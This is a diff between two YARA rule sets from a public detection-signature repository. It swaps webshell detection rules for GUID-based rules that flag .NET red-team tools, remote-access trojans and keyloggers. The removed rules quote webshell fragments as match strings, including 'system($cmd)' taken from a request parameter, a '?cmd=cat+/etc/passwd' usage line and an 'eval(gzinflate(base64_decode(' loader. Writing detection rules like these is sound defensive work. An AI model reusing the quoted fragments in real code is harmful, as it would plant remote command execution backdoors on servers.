-		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L6039-L6055"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "4cd1d1a2fd448cecc605970e3a89f3c2e5c80dfc"
-		logic_hash = "0aded226f4e54c0169b9fbda91458f581ea47f9f8bda61a350b5e6f8b60931f3"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "0bb38f10-ca5c-5c18-97c9-540b6367d150"
+		date = "2020-12-13"
+		modified = "2023-04-06"
+		reference = "https://github.com/SpiderLabs/DoHC2"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L2211-L2225"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "d94760229bd6df29f7e281ee9d38068699d6529b93ed90c8846635bd496d602a"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "$adres=gethostbyname($ip);" fullword
-		$s3 = "curl_setopt($ch,CURLOPT_POSTFIELDS,\"domain=\".$site);" fullword
-		$s4 = "$ekle=\"/index.php?option=com_user&view=reset&layout=confirm\";" fullword
-		$s16 = "echo $son.' <br> <font color=\"green\">Access</font><br>';" fullword
-		$s17 = "<p>kodlama by <a href=\"mailto:priv8coder@gmail.com\">BLaSTER</a><br /"
-		$s20 = "<p><strong>Server listeleyici</strong><br />" fullword
+		$typelibguid0lo = "9877a948-2142-4094-98de-e0fbb1bc4062" ascii wide
+		$typelibguid0up = "9877A948-2142-4094-98DE-E0FBB1BC4062" ascii wide
 
 	condition:
-		2 of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Webshell_Cgitelnet
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Syscallpoc : FILE
 {
 	meta:
-		description = "PHP Webshells Github Archive - file cgitelnet.php"
-		author = "Florian Roth (Nextron Systems)"
-		id = "b02d8549-ebfe-522c-9a6d-8657273da3ed"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L6056-L6070"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "72e5f0e4cd438e47b6454de297267770a36cbeb3"
-		logic_hash = "e9b7096d5a19c9d5423bbfe125ae0347853919ab092efa98f0687a5d0cf68953"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "1ed5e226-0dcd-5397-b5e8-41f8a14981a1"
+		date = "2020-12-13"
+		modified = "2023-04-06"
+		reference = "https://github.com/SolomonSklash/SyscallPOC"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L2227-L2243"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "95f6c80e810c4f3b680958d8fe41983f965e47994ddc2f85756d570341b54bb9"
 		score = 75
-		quality = 60
-		tags = ""
+		quality = 85
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s9 = "# Author Homepage: http://www.rohitab.com/" fullword
-		$s10 = "elsif($Action eq \"command\") # user wants to run a command" fullword
-		$s18 = "# in a command line on Windows NT." fullword
-		$s20 = "print \"Transfered $TargetFileSize Bytes.<br>\";" fullword
+		$typelibguid0lo = "1e54637b-c887-42a9-af6a-b4bd4e28cda9" ascii wide
+		$typelibguid0up = "1E54637B-C887-42A9-AF6A-B4BD4E28CDA9" ascii wide
+		$typelibguid1lo = "198d5599-d9fc-4a74-87f4-5077318232ad" ascii wide
+		$typelibguid1up = "198D5599-D9FC-4A74-87F4-5077318232AD" ascii wide
 
 	condition:
-		2 of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Webshell_Simple_Backdoor_2
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Pen_Test_Tools : FILE
 {
 	meta:
-		description = "PHP Webshells Github Archive - file simple-backdoor.php"
-		author = "Florian Roth (Nextron Systems)"
-		id = "faddd38e-d0c6-5299-9983-53351af1ece5"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		old_rule_name = "WebShell_simple_backdoor"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L6071-L6091"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "edcd5157a68fa00723a506ca86d6cbb8884ef512"
-		logic_hash = "655e445e51ec0f1bdce006a72acf3bce95941a349c279c14768760fa9f6f9d76"
-		score = 75
-		quality = 85
-		tags = ""
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "00fb98a9-e615-5fb6-a555-4326b93e2c24"
+		date = "2020-12-13"
+		modified = "2023-04-06"
+		reference = "https://github.com/awillard1/Pen-Test-Tools"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L2245-L2281"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "413cef91cab63cec432cb8deb2876f0370f6fe8b5e194b513bc905aca755e732"
+		score = 50
+		quality = 83
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "<!-- Simple PHP backdoor by DK (http://michaeldaw.org) -->" fullword
-		$s1 = "<!--    http://michaeldaw.org   2006    -->" fullword
-		$s2 = "Usage: http://target.com/simple-backdoor.php?cmd=cat+/etc/passwd" fullword
-		$s3 = "        echo \"</pre>\";" fullword
-		$s4 = "        $cmd = ($_REQUEST['cmd']);" fullword
-		$s5 = "        echo \"<pre>\";" fullword
-		$s6 = "if(isset($_REQUEST['cmd'])){" fullword
-		$s7 = "        die;" fullword
-		$s8 = "        system($cmd);" fullword
+		$typelibguid0lo = "922e7fdc-33bf-48de-bc26-a81f85462115" ascii wide
+		$typelibguid0up = "922E7FDC-33BF-48DE-BC26-A81F85462115" ascii wide
+		$typelibguid1lo = "ad5205dd-174d-4332-96d9-98b076d6fd82" ascii wide
+		$typelibguid1up = "AD5205DD-174D-4332-96D9-98B076D6FD82" ascii wide
+		$typelibguid2lo = "b67e7550-f00e-48b3-ab9b-4332b1254a86" ascii wide
+		$typelibguid2up = "B67E7550-F00E-48B3-AB9B-4332B1254A86" ascii wide
+		$typelibguid3lo = "5e95120e-b002-4495-90a1-cd3aab2a24dd" ascii wide
+		$typelibguid3up = "5E95120E-B002-4495-90A1-CD3AAB2A24DD" ascii wide
+		$typelibguid4lo = "295017f2-dc31-4a87-863d-0b9956c2b55a" ascii wide
+		$typelibguid4up = "295017F2-DC31-4A87-863D-0B9956C2B55A" ascii wide
+		$typelibguid5lo = "abbaa2f7-1452-43a6-b98e-10b2c8c2ba46" ascii wide
+		$typelibguid5up = "ABBAA2F7-1452-43A6-B98E-10B2C8C2BA46" ascii wide
+		$typelibguid6lo = "a4043d4c-167b-4326-8be4-018089650382" ascii wide
+		$typelibguid6up = "A4043D4C-167B-4326-8BE4-018089650382" ascii wide
+		$typelibguid7lo = "51abfd75-b179-496e-86db-62ee2a8de90d" ascii wide
+		$typelibguid7up = "51ABFD75-B179-496E-86DB-62EE2A8DE90D" ascii wide
+		$typelibguid8lo = "a06da7f8-f87e-4065-81d8-abc33cb547f8" ascii wide
+		$typelibguid8up = "A06DA7F8-F87E-4065-81D8-ABC33CB547F8" ascii wide
+		$typelibguid9lo = "ee510712-0413-49a1-b08b-1f0b0b33d6ef" ascii wide
+		$typelibguid9up = "EE510712-0413-49A1-B08B-1F0B0B33D6EF" ascii wide
+		$typelibguid10lo = "9780da65-7e25-412e-9aa1-f77d828819d6" ascii wide
+		$typelibguid10up = "9780DA65-7E25-412E-9AA1-F77D828819D6" ascii wide
+		$typelibguid11lo = "7913fe95-3ad5-41f5-bf7f-e28f080724fe" ascii wide
+		$typelibguid11up = "7913FE95-3AD5-41F5-BF7F-E28F080724FE" ascii wide
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Webshell_Safe_Mode_Bypass_PHP_4_4_2_And_PHP_5_1_2_2
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_The_Collection : FILE
 {
 	meta:
-		description = "PHP Webshells Github Archive - file Safe_Mode Bypass PHP 4.4.2 and PHP 5.1.2.php"
-		author = "Florian Roth (Nextron Systems)"
-		id = "a504442f-85f2-55a1-8a07-1e0faccf8bc0"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L6092-L6106"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "8fdd4e0e87c044177e9e1c97084eb5b18e2f1c25"
-		logic_hash = "fbe1f77e00fbc4e58cbad564e2d96c0381765ac799dfdf6cc2580428c68f97a5"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "4ae78576-ab75-5679-9a29-4d9a1ff03f15"
+		date = "2020-12-13"
+		modified = "2023-04-06"
+		reference = "https://github.com/Tlgyt/The-Collection"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L2283-L2305"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "a2cceb8173d9cf3a429a07f2abd2e09970a1807258a315991495a1904f0f4af0"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "<option value=\"/etc/passwd\">Get /etc/passwd</option>" fullword
-		$s3 = "xb5@hotmail.com</FONT></CENTER></B>\");" fullword
-		$s4 = "$v = @ini_get(\"open_basedir\");" fullword
-		$s6 = "by PHP Emperor<xb5@hotmail.com>" fullword
+		$typelibguid0lo = "579159ff-3a3d-46a7-b069-91204feb21cd" ascii wide
+		$typelibguid0up = "579159FF-3A3D-46A7-B069-91204FEB21CD" ascii wide
+		$typelibguid1lo = "5b7dd9be-c8c3-4c4f-a353-fefb89baa7b3" ascii wide
+		$typelibguid1up = "5B7DD9BE-C8C3-4C4F-A353-FEFB89BAA7B3" ascii wide
+		$typelibguid2lo = "43edcb1f-3098-4a23-a7f2-895d927bc661" ascii wide
+		$typelibguid2up = "43EDCB1F-3098-4A23-A7F2-895D927BC661" ascii wide
+		$typelibguid3lo = "5f19919d-cd51-4e77-973f-875678360a6f" ascii wide
+		$typelibguid3up = "5F19919D-CD51-4E77-973F-875678360A6F" ascii wide
+		$typelibguid4lo = "17fbc926-e17e-4034-ba1b-fb2eb57f5dd3" ascii wide
+		$typelibguid4up = "17FBC926-E17E-4034-BA1B-FB2EB57F5DD3" ascii wide
 
 	condition:
-		2 of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Webshell_Ntdaddy_V1_9
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Change_Lockscreen : FILE
 {
 	meta:
-		description = "PHP Webshells Github Archive - file NTDaddy v1.9.php"
-		author = "Florian Roth (Nextron Systems)"
-		id = "a175fd28-5dc2-5827-87f0-4117e889e90e"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L6107-L6121"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "79519aa407fff72b7510c6a63c877f2e07d7554b"
-		logic_hash = "fdf8b4bb4980e588ad5ccee2d047660980d39f38617f887c5762dcdb0b858267"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "a817c6e8-95f9-56c6-97b8-4be06658629f"
+		date = "2020-12-13"
+		modified = "2023-04-06"
+		reference = "https://github.com/nccgroup/Change-Lockscreen"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L2307-L2321"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "92ec9daecd17c8b0aa92f266b2cd81e0198a28d41e43d526bc94b9a2df23015b"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s2 = "|     -obzerve : mr_o@ihateclowns.com |" fullword
-		$s6 = "szTempFile = \"C:\\\" & oFileSys.GetTempName( )" fullword
-		$s13 = "<form action=ntdaddy.asp method=post>" fullword
-		$s17 = "response.write(\"<ERROR: THIS IS NOT A TEXT FILE>\")" fullword
+		$typelibguid0lo = "78642ab3-eaa6-4e9c-a934-e7b0638bc1cc" ascii wide
+		$typelibguid0up = "78642AB3-EAA6-4E9C-A934-E7B0638BC1CC" ascii wide
 
 	condition:
-		2 of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Webshell_Lamashell
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_LOLBITS : FILE
 {
 	meta:
-		description = "PHP Webshells Github Archive - file lamashell.php"
-		author = "Florian Roth (Nextron Systems)"
-		id = "60e39eed-baa2-5999-8560-0a0242ce2608"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L6122-L6138"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "b71181e0d899b2b07bc55aebb27da6706ea1b560"
-		logic_hash = "e58dbd6b9c65a139828890a3fadfad9031580fe189066489d266d37d7078ad98"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "66454ac0-742b-51a3-ac45-1ac9606e8b89"
+		date = "2020-12-13"
+		modified = "2023-04-06"
+		reference = "https://github.com/Kudaes/LOLBITS"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L2323-L2337"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "8c60938c037017f5b0ee355aec23fc8b7c629202457edaec01ab5a5ed94dc2f1"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "if(($_POST['exe']) == \"Execute\") {" fullword
-		$s8 = "$curcmd = $_POST['king'];" fullword
-		$s16 = "\"http://www.w3.org/TR/html4/loose.dtd\">" fullword
-		$s18 = "<title>lama's'hell v. 3.0</title>" fullword
-		$s19 = "_|_  O    _    O  _|_"
-		$s20 = "$curcmd = \"ls -lah\";" fullword
+		$typelibguid0lo = "29d09aa4-ea0c-47c2-973c-1d768087d527" ascii wide
+		$typelibguid0up = "29D09AA4-EA0C-47C2-973C-1D768087D527" ascii wide
 
 	condition:
-		2 of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Webshell_Simple_PHP_Backdoor_By_DK
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Keylogger : FILE
 {
 	meta:
-		description = "PHP Webshells Github Archive - file Simple_PHP_backdoor_by_DK.php"
-		author = "Florian Roth (Nextron Systems)"
-		id = "2c424714-1d2c-5b89-b1bc-a201e37a0a5d"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L6139-L6154"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "03f6215548ed370bec0332199be7c4f68105274e"
-		logic_hash = "1f65f759ec4045c521085aad84d0aea4dcfcf26eac4357751cf1dde6886d1718"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "0576756e-26d5-5165-b621-917126a75a38"
+		date = "2020-12-13"
+		modified = "2023-04-06"
+		reference = "https://github.com/BlackVikingPro/Keylogger"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L2339-L2353"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "37cd0615243abc0a2d29220285aabcaa75824ab1bc9b8ab395d90c1851a0159a"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "<!-- Simple PHP backdoor by DK (http://michaeldaw.org) -->" fullword
-		$s1 = "<!--    http://michaeldaw.org   2006    -->" fullword
-		$s2 = "Usage: http://target.com/simple-backdoor.php?cmd=cat+/etc/passwd" fullword
-		$s6 = "if(isset($_REQUEST['cmd'])){" fullword
-		$s8 = "system($cmd);" fullword
+		$typelibguid0lo = "7afbc9bf-32d9-460f-8a30-35e30aa15879" ascii wide
+		$typelibguid0up = "7AFBC9BF-32D9-460F-8A30-35E30AA15879" ascii wide
 
 	condition:
-		2 of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Webshell_Moroccan_Spamers_Ma_Edition_By_Ghost
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_CVE_2020_1337 : FILE
 {
 	meta:
-		description = "PHP Webshells Github Archive - file Moroccan Spamers Ma-EditioN By GhOsT.php"
-		author = "Florian Roth (Nextron Systems)"
-		id = "4fa9ce70-d300-55fe-bf98-636f026317ec"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L6155-L6168"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "31e5473920a2cc445d246bc5820037d8fe383201"
-		logic_hash = "0e3d2d97665b8849d121d63a22baf7393047a814dde3753e395418c1868b59be"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "4b79867d-761c-5aa8-bf8a-60caa50d8aa6"
+		date = "2020-12-13"
+		modified = "2023-04-06"
+		reference = "https://github.com/neofito/CVE-2020-1337"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L2355-L2369"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "f9a7d47861d19bb312cd75cd2edf66c8df02a0685a3eb5a1dd413e7b1c3c8234"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s4 = "$content = chunk_split(base64_encode($content)); " fullword
-		$s12 = "print \"Sending mail to $to....... \"; " fullword
-		$s16 = "if (!$from && !$subject && !$message && !$emaillist){ " fullword
+		$typelibguid0lo = "d9c2e3c1-e9cc-42b0-a67c-b6e1a4f962cc" ascii wide
+		$typelibguid0up = "D9C2E3C1-E9CC-42B0-A67C-B6E1A4F962CC" ascii wide
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Webshell_C99Madshell_V__2_0_Madnet_Edition
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Sharplogger : FILE
 {
 	meta:
-		description = "PHP Webshells Github Archive - file C99madShell v. 2.0 madnet edition.php"
-		author = "Florian Roth (Nextron Systems)"
-		id = "51db0495-14f3-527e-865b-1405db57ff27"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L6169-L6184"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "f99f8228eb12746847f54bad45084f19d1a7e111"
-		logic_hash = "7cf825a604783ebc74b1dca53aaff5c886957c562e11276f2acce5ff1f6ab991"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "5cce395b-4f6f-5015-b45e-7eb79853296a"
+		date = "2020-12-13"
+		modified = "2023-04-06"
+		reference = "https://github.com/djhohnstein/SharpLogger"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L2371-L2385"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "a5118f0df57a4d9b0a7d682a016866ef5ae20c52e078223d72fc060774e17f48"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "$md5_pass = \"\"; //If no pass then hash" fullword
-		$s1 = "eval(gzinflate(base64_decode('"
-		$s2 = "$pass = \"\";  //Pass" fullword
-		$s3 = "$login = \"\"; //Login" fullword
-		$s4 = "//Authentication" fullword
+		$typelibguid0lo = "36e00152-e073-4da8-aa0c-375b6dd680c4" ascii wide
+		$typelibguid0up = "36E00152-E073-4DA8-AA0C-375B6DD680C4" ascii wide
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Webshell_Cmdasp_Asp_Php
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Asyncrat_C_Sharp : FILE
 {
 	meta:
-		description = "PHP Webshells Github Archive - file CmdAsp.asp.php.txt"
-		author = "Florian Roth (Nextron Systems)"
-		id = "184b1731-31a9-5040-aa25-d145e8064758"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L6185-L6204"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "cb18e1ac11e37e236e244b96c2af2d313feda696"
-		logic_hash = "0fd9c7e83ad9ddf5cf88f1d1573324d9f24ae03a1951446fe11c116fd0cf4932"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "858a079d-71e8-516e-a2a9-f0969edc758b"
+		date = "2020-12-13"
+		modified = "2023-04-06"
+		reference = "https://github.com/NYAN-x-CAT/AsyncRAT-C-Sharp"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L2387-L2421"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "efb1c38e502483c25f8b81d6485f11130ed91a31a4dc64486db5c8bf2e8b1a53"
 		score = 75
-		quality = 85
-		tags = ""
+		quality = 83
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "szTempFile = \"C:\\\" & oFileSys.GetTempName( )" fullword
-		$s4 = "' Author: Maceo <maceo @ dogmile.com>" fullword
-		$s5 = "' -- Use a poor man's pipe ... a temp file -- '" fullword
-		$s6 = "' --------------------o0o--------------------" fullword
-		$s8 = "' File: CmdAsp.asp" fullword
-		$s11 = "<-- CmdAsp.asp -->" fullword
-		$s14 = "Call oScript.Run (\"cmd.exe /c \" & szCMD & \" > \" & szTempFile, 0, True)" fullword
-		$s16 = "Set oScriptNet = Server.CreateObject(\"WSCRIPT.NETWORK\")" fullword
-		$s19 = "<%= \"\\\\\" & oScriptNet.ComputerName & \"\\\" & oScriptNet.UserName %>" fullword
+		$typelibguid0lo = "619b7612-dfea-442a-a927-d997f99c497b" ascii wide
+		$typelibguid0up = "619B7612-DFEA-442A-A927-D997F99C497B" ascii wide
+		$typelibguid1lo = "424b81be-2fac-419f-b4bc-00ccbe38491f" ascii wide
+		$typelibguid1up = "424B81BE-2FAC-419F-B4BC-00CCBE38491F" ascii wide
+		$typelibguid2lo = "37e20baf-3577-4cd9-bb39-18675854e255" ascii wide
+		$typelibguid2up = "37E20BAF-3577-4CD9-BB39-18675854E255" ascii wide
+		$typelibguid3lo = "dafe686a-461b-402b-bbd7-2a2f4c87c773" ascii wide
+		$typelibguid3up = "DAFE686A-461B-402B-BBD7-2A2F4C87C773" ascii wide
+		$typelibguid4lo = "ee03faa9-c9e8-4766-bd4e-5cd54c7f13d3" ascii wide
+		$typelibguid4up = "EE03FAA9-C9E8-4766-BD4E-5CD54C7F13D3" ascii wide
+		$typelibguid5lo = "8bfc8ed2-71cc-49dc-9020-2c8199bc27b6" ascii wide
+		$typelibguid5up = "8BFC8ED2-71CC-49DC-9020-2C8199BC27B6" ascii wide
+		$typelibguid6lo = "d640c36b-2c66-449b-a145-eb98322a67c8" ascii wide
+		$typelibguid6up = "D640C36B-2C66-449B-A145-EB98322A67C8" ascii wide
+		$typelibguid7lo = "8de42da3-be99-4e7e-a3d2-3f65e7c1abce" ascii wide
+		$typelibguid7up = "8DE42DA3-BE99-4E7E-A3D2-3F65E7C1ABCE" ascii wide
+		$typelibguid8lo = "bee88186-769a-452c-9dd9-d0e0815d92bf" ascii wide
+		$typelibguid8up = "BEE88186-769A-452C-9DD9-D0E0815D92BF" ascii wide
+		$typelibguid9lo = "9042b543-13d1-42b3-a5b6-5cc9ad55e150" ascii wide
+		$typelibguid9up = "9042B543-13D1-42B3-A5B6-5CC9AD55E150" ascii wide
+		$typelibguid10lo = "6aa4e392-aaaf-4408-b550-85863dd4baaf" ascii wide
+		$typelibguid10up = "6AA4E392-AAAF-4408-B550-85863DD4BAAF" ascii wide
 
 	condition:
-		4 of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Webshell_NCC_Shell
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Darkfender : FILE
 {
 	meta:
-		description = "PHP Webshells Github Archive - file NCC-Shell.php"
-		author = "Florian Roth (Nextron Systems)"
-		id = "3a2dab3d-faf0-52a5-b114-db402885c618"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
